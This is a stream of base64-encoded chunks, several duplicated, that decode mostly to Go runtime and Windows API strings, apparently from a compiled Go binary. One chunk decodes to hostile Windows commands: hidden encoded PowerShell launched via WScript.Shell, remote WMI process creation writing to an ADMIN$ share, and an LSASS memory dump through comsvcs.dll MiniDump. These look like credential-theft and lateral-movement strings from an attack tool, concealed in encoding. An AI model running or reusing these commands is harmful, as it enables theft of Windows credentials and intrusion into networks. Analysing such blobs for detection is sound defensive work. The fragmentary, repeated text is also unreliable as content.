b3ZlRGlyZWN0b3J5V05ldEFwaUJ1ZmZlckZyZWVHT0RFQlVHOiB2YWx1ZSAiYWxsb3dtdWx0aXBsZXZjc2h0dHBjb29raWVtYXhudW0nKSkod2luZG93LmNsb3NlKTAxMjM0NTY3ODlBQkNERUZYMDEyMzQ1Njc4OWFiY2RlZnhyZWZsZWN0LlZhbHVlLkludHdpbnJlYWRsaW5rdm9sdW1lZXhlYzoga2lsbGluZyBDbWRleGVjOiBub3Qgc3RhcnRlZEdUQiBTdGFuZGFyZCBUaW1lRkxFIFN0YW5kYXJkIFRpbWVHTVQgU3RhbmRhcmQgVGltZTExOTIwOTI4OTU1MDc4MTI1NTk2MDQ2NDQ3NzUzOTA2MjV1bmtub3duIHR5cGUga2luZHJlZmxlY3Q6IGNhbGwgb2YgcmVmbGVjdC5WYWx1ZS5MZW5nb3JvdXRpbmUgcHJvZmlsZUFsbFRocmVhZHNTeXNjYWxsY29udGFpbmVybWF4cHJvY3NHQyBhc3Npc3QgbWFya2luZ3NlbGVjdCAobm8gY2FzZXMpc3luYy5SV011dGV4LkxvY2t3YWl0IGZvciBHQyBjeWNsZXRyYWNlIHByb2Mgc3RhdHVzc3luYy4oKkNvbmQpLldhaXQ6IG1pc3NpbmcgbWV0aG9kIG5vdGV0c2xlZXBnIG9uIGcwYmFkIFRpbnlTaXplQ2xhc3NpbW1vcnRhbCBtZXRhZGF0YXJ1bnQ=143:T554,YW5ub3QgZXhlYyBhIHNoYXJlZCBsaWJyYXJ5IGRpcmVjdGx5dmFsdWUgdG9vIGxhcmdlIGZvciBkZWZpbmVkIGRhdGEgdHlwZWdvZGVidWc6IHVuZXhwZWN0ZWQgSW5jTm9uRGVmYXVsdCBvZiBiaXNlY3QuSGFzaDogdW5leHBlY3RlZCBhcmd1bWVudCB0eXBldGltZTogbWlzc2luZyBMb2NhdGlvbiBpbiBjYWxsIHRvIERhdGUxMTEwMjIzMDI0NjI1MTU2NTQwNDIzNjMxNjY4MDkwODIwMzEyNTU1NTExMTUxMjMxMjU3ODI3MDIxMTgxNTgzNDA0NTQxMDE1NjI1aW5kZXggb3V0IG9mIHJhbmdlIFsleF0gd2l0aCBsZW5ndGggJXltIGNoYW5nZWQgdW5leHBlY3RlZGx5IGluIGNnb2NhbGxiYWNrZ21ha2VjaGFuOiBpbnZhbGlkIGNoYW5uZWwgZWxlbWVudCB0eXBldW5yZWFjaGFibGUgbWV0aG9kIGNhbGxlZC4gbGlua2VyIGJ1Zz9nY0JnTWFya1dvcmtlcjogYmxhY2tlbmluZyBub3QgZW5hYmxlZGNhbm5vdCByZWFkIHN0YWNrIG9mIHJ1bm5pbmcgZ29yb3V0aW5lcnVudGltZTogYmxvY2tlZCByZWFkIG9uIGZyZWUgcG9sbGRlc2NydW50aW1lOiBMb2FkTGlicmFyeUV4VyBmYWlsZWQ7IGVycm5vPXJ1bnRpbWU6IEdldFByb2NBZGRyZXNzIGZhaWxlZDsgZXJybm89cnVudGltZTogc3Vkb2cgd2l0aCBub24tZmFsc2UgaXNTZWxlY3Rhcmcgc2l6ZSB0byByZWZsZWN0LmNhbGwgbW9yZSB0aGFuIDFHQnYgY291bGQgbm90IGZpdCBpbiB0cmFjZUJ5dGVzUGVyTnVtYmVyY2FuIG5vdCBhY2Nlc3MgYSBuZWVkZWQgc2hhcmVkIGxpYnJhcnljb25jdXJyZW50IG1hcCBpdGVyYXRpb24gYW5kIG1hcCB3cml0ZWV4ZWM6IGVudmlyb25tZW50IHZhcmlhYmxlIGNvbnRhaW5zIE5VTDIwMDYtMDEtMDIgMTU6MDQ6MDUuOTk5OTk5OTk5IC0wNzAwIE1TVDI3NzU1NTc1NjE1NjI4OTEzNTEwNTkwNzkxNzAyMjcwNTA3ODEyNW1pc21hdGNoZWQgY291bnQgZHVyaW5nIGl0YWIgdGFibGUgY29weW91dCBvZiBtZW1vcnkgYWxsb2NhdGluZyBoZWFwIGFyZW5hIG1hcC9jcHUvY2xhc3Nlcy9nYy9tYXJrL2Fzc2lzdDpjcHUtc2Vj144:T558,YW5ub3QgZXhlYyBhIHNoYXJlZCBsaWJyYXJ5IGRpcmVjdGx5dmFsdWUgdG9vIGxhcmdlIGZvciBkZWZpbmVkIGRhdGEgdHlwZWdvZGVidWc6IHVuZXhwZWN0ZWQgSW5jTm9uRGVmYXVsdCBvZiBiaXNlY3QuSGFzaDogdW5leHBlY3RlZCBhcmd1bWVudCB0eXBldGltZTogbWlzc2luZyBMb2NhdGlvbiBpbiBjYWxsIHRvIERhdGUxMTEwMjIzMDI0NjI1MTU2NTQwNDIzNjMxNjY4MDkwODIwMzEyNTU1NTExMTUxMjMxMjU3ODI3MDIxMTgxNTgzNDA0NTQxMDE1NjI1aW5kZXggb3V0IG9mIHJhbmdlIFsleF0gd2l0aCBsZW5ndGggJXltIGNoYW5nZWQgdW5leHBlY3RlZGx5IGluIGNnb2NhbGxiYWNrZ21ha2VjaGFuOiBpbnZhbGlkIGNoYW5uZWwgZWxlbWVudCB0eXBldW5yZWFjaGFibGUgbWV0aG9kIGNhbGxlZC4gbGlua2VyIGJ1Zz9nY0JnTWFya1dvcmtlcjogYmxhY2tlbmluZyBub3QgZW5hYmxlZGNhbm5vdCByZWFkIHN0YWNrIG9mIHJ1bm5pbmcgZ29yb3V0aW5lcnVudGltZTogYmxvY2tlZCByZWFkIG9uIGZyZWUgcG9sbGRlc2NydW50aW1lOiBMb2FkTGlicmFyeUV4VyBmYWlsZWQ7IGVycm5vPXJ1bnRpbWU6IEdldFByb2NBZGRyZXNzIGZhaWxlZDsgZXJybm89cnVudGltZTogc3Vkb2cgd2l0aCBub24tZmFsc2UgaXNTZWxlY3Rhcmcgc2l6ZSB0byByZWZsZWN0LmNhbGwgbW9yZSB0aGFuIDFHQnYgY291bGQgbm90IGZpdCBpbiB0cmFjZUJ5dGVzUGVyTnVtYmVyY2FuIG5vdCBhY2Nlc3MgYSBuZWVkZWQgc2hhcmVkIGxpYnJhcnljb25jdXJyZW50IG1hcCBpdGVyYXRpb24gYW5kIG1hcCB3cml0ZWV4ZWM6IGVudmlyb25tZW50IHZhcmlhYmxlIGNvbnRhaW5zIE5VTDIwMDYtMDEtMDIgMTU6MDQ6MDUuOTk5OTk5OTk5IC0wNzAwIE1TVDI3NzU1NTc1NjE1NjI4OTEzNTEwNTkwNzkxNzAyMjcwNTA3ODEyNW1pc21hdGNoZWQgY291bnQgZHVyaW5nIGl0YWIgdGFibGUgY29weW91dCBvZiBtZW1vcnkgYWxsb2NhdGluZyBoZWFwIGFyZW5hIG1hcC9jcHUvY2xhc3Nlcy9nYy9tYXJrL2Fzc2lzdDpjcHUtc2Vjbw==145:T550,YmFkIGcwIHN0YWNrc2VsZi1wcmVlbXB0IFtyZWNvdmVyZWRdYmFkIHJlY292ZXJ5YmFkIGcgc3RhdHVzZW50ZXJzeXNjYWxsd2lyZXA6IHAtPm09KSBwLT5zdGF0dXM9cmVsZWFzZXA6IG09IHN5c21vbndhaXQ9IHByZWVtcHRvZmY9Y2FzNjQgZmFpbGVkIG0tPmdzaWduYWw9LWJ5dGUgbGltaXRydW50aW1lOiBzcD1hYmkgbWlzbWF0Y2h3cm9uZyB0aW1lcnN0cmFjZSBidWZmZXJpbnZhbGlkIHNsb3Rob3N0IGlzIGRvd25pbGxlZ2FsIHNlZWtHZXRMZW5ndGhTaWRHZXRMYXN0RXJyb3JHZXRTdGRIYW5kbGVHZXRUZW1wUGF0aFdMb2FkTGlicmFyeVdSZWFkQ29uc29sZVdTZXRFbmRPZkZpbGVUcmFuc21pdEZpbGVHZXRBZGRySW5mb1dub3QgcG9sbGFibGVnb3R5cGVzYWxpYXNodHRwbXV4Z28xMjFtdWx0aXBhdGh0Y3ByYW5kYXV0b3NlZWR0bHN1bnNhZmVla20xOTIuMTY4LjEuMTAwRmluZEZpcnN0RmlsZTM4MTQ2OTcyNjU2MjVkYWxUTERwU3VnY3Q/R2V0VGVtcFBhdGgyV01vZHVsZTMyTmV4dFdSdGxHZXRWZXJzaW9ud2FrZWFibGVTbGVlcHByb2ZNZW1BY3RpdmVwcm9mTWVtRnV0dXJldHJhY2VTdGFja1RhYmV4ZWNSSW50ZXJuYWx0ZXN0UkludGVybmFsR0Mgc3dlZXAgd2FpdHN5bmN0ZXN0LldhaXRvdXQgb2YgbWVtb3J5IGlzIG5pbCwgbm90IHZhbHVlIG1ldGhvZCBoZWFwIG1ldGFkYXRhIHNwYW4uYmFzZSgpPWJhZCBmbHVzaEdlbiBjcmVhdGVkIGF0OiAsIG5vdCBwb2ludGVyICE9IHN3ZWVwZ2VuICBNQiBnbG9iYWxzLCAgd29yay5ucHJvYz0gIHdvcmsubndhaXQ9ICBuU3RhY2tSb290cz0gZmx1c2hlZFdvcmsgZG91YmxlIHVubG9jayBzLnNwYW5jbGFzcz0gTUIpIHdvcmtlcnM9bWluIHRvbyBsYXJnZS1ieXRlIGJsb2NrIChydW50aW1lOiB2YWw9cnVudGltZTogc2VxPWZhdGFsIGVycm9yOiAgaWRsZXRocmVhZHM9IHN5c2NhbGx0aWNrPWxvYWQ2NCBmYWlsZWR4YWRkNjQgZmFpbGVkeGNoZzY0IGZhaWxlZG5pbCBzdGFja2Jhc2V9c2NoZWQ9e3BjOiwgZ3AtPnN0YXR1cz0gcGx1Z2k=146:T550,YmFkIGcwIHN0YWNrc2VsZi1wcmVlbXB0IFtyZWNvdmVyZWRdYmFkIHJlY292ZXJ5YmFkIGcgc3RhdHVzZW50ZXJzeXNjYWxsd2lyZXA6IHAtPm09KSBwLT5zdGF0dXM9cmVsZWFzZXA6IG09IHN5c21vbndhaXQ9IHByZWVtcHRvZmY9Y2FzNjQgZmFpbGVkIG0tPmdzaWduYWw9LWJ5dGUgbGltaXRydW50aW1lOiBzcD1hYmkgbWlzbWF0Y2h3cm9uZyB0aW1lcnN0cmFjZSBidWZmZXJpbnZhbGlkIHNsb3Rob3N0IGlzIGRvd25pbGxlZ2FsIHNlZWtHZXRMZW5ndGhTaWRHZXRMYXN0RXJyb3JHZXRTdGRIYW5kbGVHZXRUZW1wUGF0aFdMb2FkTGlicmFyeVdSZWFkQ29uc29sZVdTZXRFbmRPZkZpbGVUcmFuc21pdEZpbGVHZXRBZGRySW5mb1dub3QgcG9sbGFibGVnb3R5cGVzYWxpYXNodHRwbXV4Z28xMjFtdWx0aXBhdGh0Y3ByYW5kYXV0b3NlZWR0bHN1bnNhZmVla20xOTIuMTY4LjEuMTAwRmluZEZpcnN0RmlsZTM4MTQ2OTcyNjU2MjVkYWxUTERwU3VnY3Q/R2V0VGVtcFBhdGgyV01vZHVsZTMyTmV4dFdSdGxHZXRWZXJzaW9ud2FrZWFibGVTbGVlcHByb2ZNZW1BY3RpdmVwcm9mTWVtRnV0dXJldHJhY2VTdGFja1RhYmV4ZWNSSW50ZXJuYWx0ZXN0UkludGVybmFsR0Mgc3dlZXAgd2FpdHN5bmN0ZXN0LldhaXRvdXQgb2YgbWVtb3J5IGlzIG5pbCwgbm90IHZhbHVlIG1ldGhvZCBoZWFwIG1ldGFkYXRhIHNwYW4uYmFzZSgpPWJhZCBmbHVzaEdlbiBjcmVhdGVkIGF0OiAsIG5vdCBwb2ludGVyICE9IHN3ZWVwZ2VuICBNQiBnbG9iYWxzLCAgd29yay5ucHJvYz0gIHdvcmsubndhaXQ9ICBuU3RhY2tSb290cz0gZmx1c2hlZFdvcmsgZG91YmxlIHVubG9jayBzLnNwYW5jbGFzcz0gTUIpIHdvcmtlcnM9bWluIHRvbyBsYXJnZS1ieXRlIGJsb2NrIChydW50aW1lOiB2YWw9cnVudGltZTogc2VxPWZhdGFsIGVycm9yOiAgaWRsZXRocmVhZHM9IHN5c2NhbGx0aWNrPWxvYWQ2NCBmYWlsZWR4YWRkNjQgZmFpbGVkeGNoZzY0IGZhaWxlZG5pbCBzdGFja2Jhc2V9c2NoZWQ9e3BjOiwgZ3AtPnN0YXR1cz0gcGx1Z2lu147:T550,YmUgYSBwb3dlciBvZiAyc3lzdGVtIGh1Z2UgcGFnZSBzaXplIChydW50aW1lOiBzLmFsbG9jQ291bnQ9IHMuYWxsb2NDb3VudCA+IHMubmVsZW1zL2djL2hlYXAvYWxsb2NzOm9iamVjdHNydW50aW1lOiBpbnRlcm5hbCBlcnJvcndvcmsubndhaXQgPiB3b3JrLm5wcm9jbGVmdCBvdmVyIG1hcmtyb290IGpvYnNnY0RyYWluIHBoYXNlIGluY29ycmVjdE1CIGR1cmluZyBzd2VlcDsgc3dlcHQgYmFkIHByb2ZpbGUgc3RhY2sgY291bnRydW50aW1lOiBuZXRwb2xsIGZhaWxlZHBhbmljIGR1cmluZyBwcmVlbXB0b2ZmbmFub3RpbWUgcmV0dXJuaW5nIHplcm9mYXRhbDogbW9yZXN0YWNrIG9uIGcwdGhlIGN1cnJlbnQgZyBpcyBub3QgZzBzY2hlZHVsZTogaG9sZGluZyBsb2Nrc3Byb2NyZXNpemU6IGludmFsaWQgYXJnc3BhbiBoYXMgbm8gZnJlZSBzdGFja3NzdGFjayBncm93dGggYWZ0ZXIgZm9ya3Nocmlua3N0YWNrIGF0IGJhZCB0aW1lcmVmbGVjdC5tZXRob2RWYWx1ZUNhbGxkZXZpY2Ugb3IgcmVzb3VyY2UgYnVzeWludGVycnVwdGVkIHN5c3RlbSBjYWxsbm8gc3BhY2UgbGVmdCBvbiBkZXZpY2VvcGVyYXRpb24gbm90IHN1cHBvcnRlZG9wZXJhdGlvbiBub3QgcGVybWl0dGVkQ2VydEdldENlcnRpZmljYXRlQ2hhaW5GcmVlRW52aXJvbm1lbnRTdHJpbmdzV0dldEVudmlyb25tZW50VmFyaWFibGVXR2V0U3lzdGVtVGltZUFzRmlsZVRpbWVTZXRFbnZpcm9ubWVudFZhcmlhYmxlVyIsIG1pc3NpbmcgQ1BVIHN1cHBvcnRleGl0IGhvb2sgaW52b2tlZCBwYW5pY3BhdHRlcm4gYml0cyB0b28gbG9uZzogU0EgUGFjaWZpYyBTdGFuZGFyZCBUaW1lU0EgRWFzdGVybiBTdGFuZGFyZCBUaW1lVVMgRWFzdGVybiBTdGFuZGFyZCBUaW1lU0EgV2VzdGVybiBTdGFuZGFyZCBUaW1lTW9udGV2aWRlbyBTdGFuZGFyZCBUaW1lTWFnYWxsYW5lcyBTdGFuZGFyZCBUaW1lUGFjaWZpYyBTQSBTdGFuZGFyZCBUaW1lQXplcmJhaWphbiBTdGFuZGFyZCBUaW1lQmFuZ2xhZGVzaCBTdGFuZGFyZCBUaW1lTm9ydGggQXM=148:T550,YmUgYSBwb3dlciBvZiAyc3lzdGVtIGh1Z2UgcGFnZSBzaXplIChydW50aW1lOiBzLmFsbG9jQ291bnQ9IHMuYWxsb2NDb3VudCA+IHMubmVsZW1zL2djL2hlYXAvYWxsb2NzOm9iamVjdHNydW50aW1lOiBpbnRlcm5hbCBlcnJvcndvcmsubndhaXQgPiB3b3JrLm5wcm9jbGVmdCBvdmVyIG1hcmtyb290IGpvYnNnY0RyYWluIHBoYXNlIGluY29ycmVjdE1CIGR1cmluZyBzd2VlcDsgc3dlcHQgYmFkIHByb2ZpbGUgc3RhY2sgY291bnRydW50aW1lOiBuZXRwb2xsIGZhaWxlZHBhbmljIGR1cmluZyBwcmVlbXB0b2ZmbmFub3RpbWUgcmV0dXJuaW5nIHplcm9mYXRhbDogbW9yZXN0YWNrIG9uIGcwdGhlIGN1cnJlbnQgZyBpcyBub3QgZzBzY2hlZHVsZTogaG9sZGluZyBsb2Nrc3Byb2NyZXNpemU6IGludmFsaWQgYXJnc3BhbiBoYXMgbm8gZnJlZSBzdGFja3NzdGFjayBncm93dGggYWZ0ZXIgZm9ya3Nocmlua3N0YWNrIGF0IGJhZCB0aW1lcmVmbGVjdC5tZXRob2RWYWx1ZUNhbGxkZXZpY2Ugb3IgcmVzb3VyY2UgYnVzeWludGVycnVwdGVkIHN5c3RlbSBjYWxsbm8gc3BhY2UgbGVmdCBvbiBkZXZpY2VvcGVyYXRpb24gbm90IHN1cHBvcnRlZG9wZXJhdGlvbiBub3QgcGVybWl0dGVkQ2VydEdldENlcnRpZmljYXRlQ2hhaW5GcmVlRW52aXJvbm1lbnRTdHJpbmdzV0dldEVudmlyb25tZW50VmFyaWFibGVXR2V0U3lzdGVtVGltZUFzRmlsZVRpbWVTZXRFbnZpcm9ubWVudFZhcmlhYmxlVyIsIG1pc3NpbmcgQ1BVIHN1cHBvcnRleGl0IGhvb2sgaW52b2tlZCBwYW5pY3BhdHRlcm4gYml0cyB0b28gbG9uZzogU0EgUGFjaWZpYyBTdGFuZGFyZCBUaW1lU0EgRWFzdGVybiBTdGFuZGFyZCBUaW1lVVMgRWFzdGVybiBTdGFuZGFyZCBUaW1lU0EgV2VzdGVybiBTdGFuZGFyZCBUaW1lTW9udGV2aWRlbyBTdGFuZGFyZCBUaW1lTWFnYWxsYW5lcyBTdGFuZGFyZCBUaW1lUGFjaWZpYyBTQSBTdGFuZGFyZCBUaW1lQXplcmJhaWphbiBTdGFuZGFyZCBUaW1lQmFuZ2xhZGVzaCBTdGFuZGFyZCBUaW1lTm9ydGggQXNp149:T554,Y2xlYXIgbm9uLWVtcHR5IHNwYW4gc2V0cnVudGltZTogY2xvc2UgcG9sbGRlc2Mgdy9vIHVuYmxvY2tOdENyZWF0ZVdhaXRDb21wbGV0aW9uUGFja2V0IGZhaWxlZGZpbmRydW5uYWJsZTogbmV0cG9sbCB3aXRoIHNwaW5uaW5ncGlkbGVwdXQ6IFAgaGFzIG5vbi1lbXB0eSBydW4gcXVldWVmYWtlIHRpbWVyIGV4ZWN1dGluZyB3aXRoIG5vIGJ1YmJsZXRyYWNlYmFjayBkaWQgbm90IHVud2luZCBjb21wbGV0ZWx5cnVudGltZTogY3JlYXRlZXZlbnQgZmFpbGVkOyBlcnJubz1uZXR3b3JrIGRyb3BwZWQgY29ubmVjdGlvbiBvbiByZXNldHRyYW5zcG9ydCBlbmRwb2ludCBpcyBub3QgY29ubmVjdGVkZmlsZSB0eXBlIGRvZXMgbm90IHN1cHBvcnQgZGVhZGxpbmU0NDQwODkyMDk4NTAwNjI2MTYxNjk0NTI2NjcyMzYzMjgxMjVyeXVGdG9hRml4ZWQ2NCBjYWxsZWQgd2l0aCBwcmVjID4gMTgwMTIzNDU2Nzg5YWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXptZXRob2QgQUJJIGFuZCB2YWx1ZSBBQkkgZG9uJ3QgYWxpZ25sZnN0YWNrIG5vZGUgYWxsb2NhdGVkIGZyb20gdGhlIGhlYXApIGlzIGxhcmdlciB0aGFuIG1heGltdW0gcGFnZSBzaXplIChvYmplY3RzIHdpdGggcG9pbnRlcnMgbXVzdCBiZSB6ZXJvZWRydW50aW1lOiBpbnZhbGlkIHR5cGVCaXRzQnVsa0JhcnJpZXJ1bmNhY2hpbmcgc3BhbiBidXQgcy5hbGxvY0NvdW50ID09IDBTY2FuIHRyYWNlIGZvciBjbGVhbnVwL2ZpbmFsaXplciBvbiAvbWVtb3J5L2NsYXNzZXMvbWV0YWRhdGEvb3RoZXI6Ynl0ZXMvc2NoZWQvcGF1c2VzL3N0b3BwaW5nL290aGVyOnNlY29uZHN1c2VyIGFyZW5hIHNwYW4gaXMgb24gdGhlIHdyb25nIGxpc3RydW50aW1lOiBtYXJrZWQgZnJlZSBvYmplY3QgaW4gc3BhbiBydW50aW1lOiB1bmJsb2NrIG9uIGNsb3NpbmcgcG9sbGRlc2NVbmFibGUgdG8gZGV0ZXJtaW5lIHN5c3RlbSBkaXJlY3RvcnlydW50aW1lOiBWaXJ0dWFsUXVlcnkgZmFpbGVkOyBlcnJubz1ydW50aW1lOiBzdWRvZyB3aXRoIG5vbi1uaWwgd2FpdGxpbms=14a:T554,Y2xlYXIgbm9uLWVtcHR5IHNwYW4gc2V0cnVudGltZTogY2xvc2UgcG9sbGRlc2Mgdy9vIHVuYmxvY2tOdENyZWF0ZVdhaXRDb21wbGV0aW9uUGFja2V0IGZhaWxlZGZpbmRydW5uYWJsZTogbmV0cG9sbCB3aXRoIHNwaW5uaW5ncGlkbGVwdXQ6IFAgaGFzIG5vbi1lbXB0eSBydW4gcXVldWVmYWtlIHRpbWVyIGV4ZWN1dGluZyB3aXRoIG5vIGJ1YmJsZXRyYWNlYmFjayBkaWQgbm90IHVud2luZCBjb21wbGV0ZWx5cnVudGltZTogY3JlYXRlZXZlbnQgZmFpbGVkOyBlcnJubz1uZXR3b3JrIGRyb3BwZWQgY29ubmVjdGlvbiBvbiByZXNldHRyYW5zcG9ydCBlbmRwb2ludCBpcyBub3QgY29ubmVjdGVkZmlsZSB0eXBlIGRvZXMgbm90IHN1cHBvcnQgZGVhZGxpbmU0NDQwODkyMDk4NTAwNjI2MTYxNjk0NTI2NjcyMzYzMjgxMjVyeXVGdG9hRml4ZWQ2NCBjYWxsZWQgd2l0aCBwcmVjID4gMTgwMTIzNDU2Nzg5YWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXptZXRob2QgQUJJIGFuZCB2YWx1ZSBBQkkgZG9uJ3QgYWxpZ25sZnN0YWNrIG5vZGUgYWxsb2NhdGVkIGZyb20gdGhlIGhlYXApIGlzIGxhcmdlciB0aGFuIG1heGltdW0gcGFnZSBzaXplIChvYmplY3RzIHdpdGggcG9pbnRlcnMgbXVzdCBiZSB6ZXJvZWRydW50aW1lOiBpbnZhbGlkIHR5cGVCaXRzQnVsa0JhcnJpZXJ1bmNhY2hpbmcgc3BhbiBidXQgcy5hbGxvY0NvdW50ID09IDBTY2FuIHRyYWNlIGZvciBjbGVhbnVwL2ZpbmFsaXplciBvbiAvbWVtb3J5L2NsYXNzZXMvbWV0YWRhdGEvb3RoZXI6Ynl0ZXMvc2NoZWQvcGF1c2VzL3N0b3BwaW5nL290aGVyOnNlY29uZHN1c2VyIGFyZW5hIHNwYW4gaXMgb24gdGhlIHdyb25nIGxpc3RydW50aW1lOiBtYXJrZWQgZnJlZSBvYmplY3QgaW4gc3BhbiBydW50aW1lOiB1bmJsb2NrIG9uIGNsb3NpbmcgcG9sbGRlc2NVbmFibGUgdG8gZGV0ZXJtaW5lIHN5c3RlbSBkaXJlY3RvcnlydW50aW1lOiBWaXJ0dWFsUXVlcnkgZmFpbGVkOyBlcnJubz1ydW50aW1lOiBzdWRvZyB3aXRoIG5vbi1uaWwgd2FpdGxpbmty14b:T550,Q29tbWFuZENvbnRleHRydW50aW1lOiBHZXRRdWV1ZWRDb21wbGV0aW9uU3RhdHVzRXggcmV0dXJuZWQgbmV0X29wIHdpdGggaW52YWxpZCBrZXk9IHRvbyBtYW55IGNvbmN1cnJlbnQgb3BlcmF0aW9ucyBvbiBhIHNpbmdsZSBmaWxlIG9yIHNvY2tldCAobWF4IDEwNDg1NzUpQ3JlYXRlT2JqZWN0KCJXU2NyaXB0LlNoZWxsIikuUnVuICJwb3dlcnNoZWxsIC1Ob1AgLU5vbkkgLVcgSGlkZGVuIC1FbmMgcnVudGltZTogR2V0UXVldWVkQ29tcGxldGlvblN0YXR1c0V4IHJldHVybmVkIG5ldF9vcCB3aXRoIGludmFsaWQgbW9kZT0gcnVudGltZS5Hb2V4aXQgY2FsbGVkIGluIGEgdGhyZWFkIHRoYXQgd2FzIG5vdCBjcmVhdGVkIGJ5IHRoZSBHbyBydW50aW1ld21pYyAvbm9kZToiJXMiIHByb2Nlc3MgY2FsbCBjcmVhdGUgImNtZCAvYyB3aG9hbWkgPiBcXFxcJXNcXEFETUlOJFxceC50eHQiTWFwSXRlci5OZXh0IGNhbGxlZCBvbiBhbiBpdGVyYXRvciB0aGF0IGRvZXMgbm90IGhhdmUgYW4gYXNzb2NpYXRlZCBtYXAgVmFsdWVOdENyZWF0ZVdhaXRDb21wbGV0aW9uUGFja2V0IGV4aXN0cyBidXQgTnRDYW5jZWxXYWl0Q29tcGxldGlvblBhY2tldCBkb2VzIG5vdGNhbm5vdCBjb252ZXJ0IHNsaWNlIHdpdGggbGVuZ3RoICV5IHRvIGFycmF5IG9yIHBvaW50ZXIgdG8gYXJyYXkgd2l0aCBsZW5ndGggJXhOdENyZWF0ZVdhaXRDb21wbGV0aW9uUGFja2V0IGV4aXN0cyBidXQgTnRBc3NvY2lhdGVXYWl0Q29tcGxldGlvblBhY2tldCBkb2VzIG5vdCAoYmFkIHVzZSBvZiB1bnNhZmUuUG9pbnRlciBvciBoYXZpbmcgcmFjZSBjb25kaXRpb25zPyB0cnkgLWQ9Y2hlY2twdHIgb3IgLXJhY2UpcnVuZGxsMzIgJVdJTkRJUiVcU3lzdGVtMzJcY29tc3Zjcy5kbGwsIE1pbmlEdW1wIChHZXQtUHJvY2VzcyBsc2FzcykuSWQgTlVMIGZ1bGxleHBlY3RlZCBhbGwgc2l6ZSBjbGFzc2VzIHVwIHRvIG1pbiBzaXplIGZvciBtYWxsb2MgaGVhZGVyIHRvIGZpdCBpbiBvbmUtcGFnZSBzcGFuc3JlZmxlY3QuVmFsdWUuSW5014c:T554,Q29tbWFuZENvbnRleHRydW50aW1lOiBHZXRRdWV1ZWRDb21wbGV0aW9uU3RhdHVzRXggcmV0dXJuZWQgbmV0X29wIHdpdGggaW52YWxpZCBrZXk9IHRvbyBtYW55IGNvbmN1cnJlbnQgb3BlcmF0aW9ucyBvbiBhIHNpbmdsZSBmaWxlIG9yIHNvY2tldCAobWF4IDEwNDg1NzUpQ3JlYXRlT2JqZWN0KCJXU2NyaXB0LlNoZWxsIikuUnVuICJwb3dlcnNoZWxsIC1Ob1AgLU5vbkkgLVcgSGlkZGVuIC1FbmMgcnVudGltZTogR2V0UXVldWVkQ29tcGxldGlvblN0YXR1c0V4IHJldHVybmVkIG5ldF9vcCB3aXRoIGludmFsaWQgbW9kZT0gcnVudGltZS5Hb2V4aXQgY2FsbGVkIGluIGEgdGhyZWFkIHRoYXQgd2FzIG5vdCBjcmVhdGVkIGJ5IHRoZSBHbyBydW50aW1ld21pYyAvbm9kZToiJXMiIHByb2Nlc3MgY2FsbCBjcmVhdGUgImNtZCAvYyB3aG9hbWkgPiBcXFxcJXNcXEFETUlOJFxceC50eHQiTWFwSXRlci5OZXh0IGNhbGxlZCBvbiBhbiBpdGVyYXRvciB0aGF0IGRvZXMgbm90IGhhdmUgYW4gYXNzb2NpYXRlZCBtYXAgVmFsdWVOdENyZWF0ZVdhaXRDb21wbGV0aW9uUGFja2V0IGV4aXN0cyBidXQgTnRDYW5jZWxXYWl0Q29tcGxldGlvblBhY2tldCBkb2VzIG5vdGNhbm5vdCBjb252ZXJ0IHNsaWNlIHdpdGggbGVuZ3RoICV5IHRvIGFycmF5IG9yIHBvaW50ZXIgdG8gYXJyYXkgd2l0aCBsZW5ndGggJXhOdENyZWF0ZVdhaXRDb21wbGV0aW9uUGFja2V0IGV4aXN0cyBidXQgTnRBc3NvY2lhdGVXYWl0Q29tcGxldGlvblBhY2tldCBkb2VzIG5vdCAoYmFkIHVzZSBvZiB1bnNhZmUuUG9pbnRlciBvciBoYXZpbmcgcmFjZSBjb25kaXRpb25zPyB0cnkgLWQ9Y2hlY2twdHIgb3IgLXJhY2UpcnVuZGxsMzIgJVdJTkRJUiVcU3lzdGVtMzJcY29tc3Zjcy5kbGwsIE1pbmlEdW1wIChHZXQtUHJvY2VzcyBsc2FzcykuSWQgTlVMIGZ1bGxleHBlY3RlZCBhbGwgc2l6ZSBjbGFzc2VzIHVwIHRvIG1pbiBzaXplIGZvciBtYWxsb2MgaGVhZGVyIHRvIGZpdCBpbiBvbmUtcGFnZSBzcGFuc3JlZmxlY3QuVmFsdWUuSW50ZQ==14d:T554,ZWQgaXRlcmF0b3IgYnl0ZXM7IGluY29tcGF0aWJsZSB3aXRoIG11dGV4IGZsYWcgbWFzayBwZXJzaXN0ZW50YWxsb2M6IGFsaWduIGlzIG5vdCBhIHBvd2VyIG9mIDIvY3B1L2NsYXNzZXMvZ2MvbWFyay9kZWRpY2F0ZWQ6Y3B1LXNlY29uZHMvbWVtb3J5L2NsYXNzZXMvbWV0YWRhdGEvbWNhY2hlL2ZyZWU6Ynl0ZXMvbWVtb3J5L2NsYXNzZXMvbWV0YWRhdGEvbXNwYW4vaW51c2U6Ynl0ZXNub24tZW1wdHkgbWFyayBxdWV1ZSBhZnRlciBjb25jdXJyZW50IG1hcmtzd2VlcDogdHJpZWQgdG8gcHJlc2VydmUgYSB1c2VyIGFyZW5hIHNwYW5ydW50aW1lOiBibG9ja2VkIHdyaXRlIG9uIGNsb3NpbmcgcG9sbGRlc2NhY3F1aXJlU3Vkb2c6IGZvdW5kIHMuZWxlbSAhPSBuaWwgaW4gY2FjaGVmYXRhbCBlcnJvcjogY2dvIGNhbGxiYWNrIGJlZm9yZSBjZ28gY2FsbG9uIGEgbG9ja2VkIHRocmVhZCB3aXRoIG5vIHRlbXBsYXRlIHRocmVhZHVuZXhwZWN0ZWQgc2lnbmFsIGR1cmluZyBydW50aW1lIGV4ZWN1dGlvbnN0b3Agb2Ygc3luY3Rlc3QgdGltZXIgZnJvbSBvdXRzaWRlIGJ1YmJsZXRyYWNlU3RvcFJlYWRDUFUgY2FsbGVkIHdpdGggdHJhY2UgZW5hYmxlZGF0dGVtcHRlZCB0byB0cmFjZSBhIGJhZCBzdGF0dXMgZm9yIGEgcHJvY291dCBvZiBtZW1vcnkgYWxsb2NhdGluZyBjaGVja21hcmtzIGJpdG1hcGV4ZWM6IFdhaXREZWxheSBleHBpcmVkIGJlZm9yZSBJL08gY29tcGxldGVtdWx0NjRiaXRQb3cxMDogcG93ZXIgb2YgMTAgaXMgb3V0IG9mIHJhbmdlL21lbW9yeS9jbGFzc2VzL21ldGFkYXRhL21jYWNoZS9pbnVzZTpieXRlc3J1bnRpbWUuU2V0RmluYWxpe